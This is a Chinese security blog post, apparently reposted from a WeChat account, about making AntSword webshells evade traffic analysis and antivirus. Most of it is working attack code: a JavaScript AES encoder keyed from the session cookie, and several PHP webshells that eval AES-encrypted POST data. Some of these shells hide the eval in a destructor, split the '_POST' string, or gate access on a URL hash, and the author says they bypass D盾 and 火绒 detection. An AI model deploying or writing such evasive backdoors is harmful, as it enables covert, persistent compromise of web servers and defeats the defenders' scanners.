蚁剑动静态免杀-安全从业者的基本操作

  • A+
所属分类:逆向工程

蚁剑的编码器与解码器

蚁剑最出色的地方莫过于开源,方便二次开发。在日常渗透中webshell的流量加密算是一个基本操作了,否则太容易被查杀到了。而蚁剑的编码器和解码器就对流量进行了混淆,但是自带的base64、chr16、rot等太容易被查杀了,所以需要自己定义编码与解码器。

简单看一个aes的加密脚本

function get_cookie(Name, CookieStr="") {   var search = Name + "="   var returnvalue = "";   if (CookieStr.length > 0) {     var sd = CookieStr.indexOf(search);     if (sd!= -1) {        sd += search.length;        var end = CookieStr.indexOf(";", sd);        if (end == -1){          end = CookieStr.length;        }        returnvalue = window.unescape(CookieStr.substring(sd, end));      }   }    return returnvalue;}
function encryptText(keyStr, text) { let buff = Buffer.alloc(16, 'a'); buff.write(keyStr,0); keyStr = buff.toString(); let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.ZeroPadding, }).toString(); return encodetext;}
module.exports = (pwd, data, ext={}) => { // ########## 请在下方编写你自己的代码 ################### // 从扩展中获取 shell 配置 let headers = ext.opts.httpConf.headers; if(!headers.hasOwnProperty('Cookie')) { window.toastr.error("请先设置 Cookie (大小写敏感), 可通过浏览网站获取Cookie", "错误"); return data; } let session_key = "PHPSESSID"; let keyStr = get_cookie(session_key, headers['Cookie']); if(keyStr.length === 0) { window.toastr.error("未在 Cookie 中发现PHPSESSID", "错误"); return data; } data[pwd] = encryptText(keyStr, data['_']); // ########## 请在上方编写你自己的代码 ################### // 删除 _ 原有的payload delete data['_']; // 返回编码器处理后的 payload 数组 return data;}

模块的定制化开发写了一个加密函数和一个获取cookie的函数,通过获取cookie来截取aes加密所需的key值,我们也可以自定义http请求头,来diy自己的编码器



动态免杀


动态免杀也就是流量加密,为了防止被流量分析设备检测,使用对称加密方式或非对称加密是最好的手段,同时返回包也应要加密返回。


<?php@session_start();$pwd='ant';[email protected](str_pad(session_id(),16,'a'),0,16);@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));?>


上传这个php马,连接时勾选aes加密

蚁剑动静态免杀-安全从业者的基本操作

在请求信息中设置cookie

蚁剑动静态免杀-安全从业者的基本操作

这样操作之后,请求包和返回包就加密了。



小小改动


若是在awd比赛中,不希望别人连接自己的shell,所以还需要对shell稍作修改,混淆视听


<?php$requestUri = $_SERVER['REQUEST_URI'];@session_start();[email protected](str_pad(session_id(),16,'a'),0,16);if(md5(substr($requestUri, -10))=="25e107b26e53900575dddf0339a83ca6"){eval(openssl_decrypt(base64_decode($_POST['tan']), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);}?>

加完以后在就会获取当前请求url,并截取后面10位跟hash做比对,不对的话就无法使用这个shell后门了,效果如下。


蚁剑动静态免杀-安全从业者的基本操作

连接时定义好url和密码就行



静态免杀


自从php7.1以后,那些花里胡哨的变形就没得了,只能直面eval。简单对自己的马子做了下静态免杀

过D盾也是摸索着过的,参考网上文章也有些不太靠谱,在base64_decode和$_post处卡了很长时间,后来借鉴别人的免杀马,直接绕过检测。看其思路并不是绕过字符串检测而是改变其调用过程从而达到的绕过

<?phpclass mm{  public $a = '';  function __destruct(){    eval("$this->a");  }}$requestUri = $_SERVER['REQUEST_URI'];@session_start();[email protected](str_pad(session_id(),16,'a'),0,16);if(md5(substr($requestUri, -10))=="25e107b26e53900575dddf0339a83ca6"){$b = new mm;$b->a = openssl_decrypt(isset($_GET['id'])?$_POST['tan']:base64_decode($_POST['tan']), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);}?>

但是呢,这个时候发现火绒依然可以查杀

蚁剑动静态免杀-安全从业者的基本操作

不过,稍作修改下也能过火绒

if(md5(substr($requestUri, -10))=="25e107b26e53900575dddf0339a83ca6"){$b = new mm;$c = "_PO"."ST";$b->a = openssl_decrypt(base64_decode(${$c}[tan]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);}

但是D盾却又有告警了,哈哈哈哈。。

蚁剑动静态免杀-安全从业者的基本操作

想要通杀,思路很简单,hex转换就可以绕过





公众号回复:免杀马 获取




本文始发于微信公众号(白帽子飙车路):蚁剑动静态免杀-安全从业者的基本操作

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: